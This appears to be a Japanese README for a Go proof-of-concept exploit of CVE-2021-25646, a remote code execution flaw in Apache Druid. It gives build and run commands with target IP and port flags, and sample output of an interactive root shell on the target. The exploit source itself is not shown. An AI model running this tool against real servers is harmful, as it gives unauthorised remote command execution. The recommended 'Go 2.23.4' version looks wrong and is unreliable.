
コマンドインジェクションを許容するCVE-2021-25646の概念実証。
このリポジトリは、Apache Druid における深刻なリモートコード実行の脆弱性 CVE-2021-25646 の概念実証(PoC)エクスプロイトを含んでいます。
このエクスプロイトは Go で書かれており、ターミナルを介した対話的なコマンドインジェクションを可能にします。
Go がインストールされている必要があります(バージョン 2.23.4 推奨)。
go build .
これにより、カレントディレクトリにバイナリが生成されます。
バイナリをビルドして実行するか、go run で直接実行できます。
-i : 対象DruidサーバーのIPアドレス(必須)-p : 対象Druidサーバーのポート(必須)-proxy : プロキシURLを指定(オプション)ビルドしたバイナリを実行:
./cve -i 127.0.0.1 -p 8888
または Go で直接実行:
go run main.go -i 127.0.0.1 -p 8888
$ ./cve -i 127.0.0.1 -p 8888
~ $ whoami
root
~ $ uname -a
Linux druid-server 4.15.0-123-generic #126-Ubuntu SMP ...
脆弱性:
このエクスプロイトは、Druid の indexer コンポーネント、特に task API における不適切な入力検証を悪用し、巧妙に細工されたJSONペイロードによるコマンドインジェクションを可能にします。
参考文献:
このソフトウェアは教育目的のみで提供されています。
作者は、このコードの誤用や損害について一切の責任を負いません。
いかなるシステムをテストする前に、必ず適切な許可を得てください。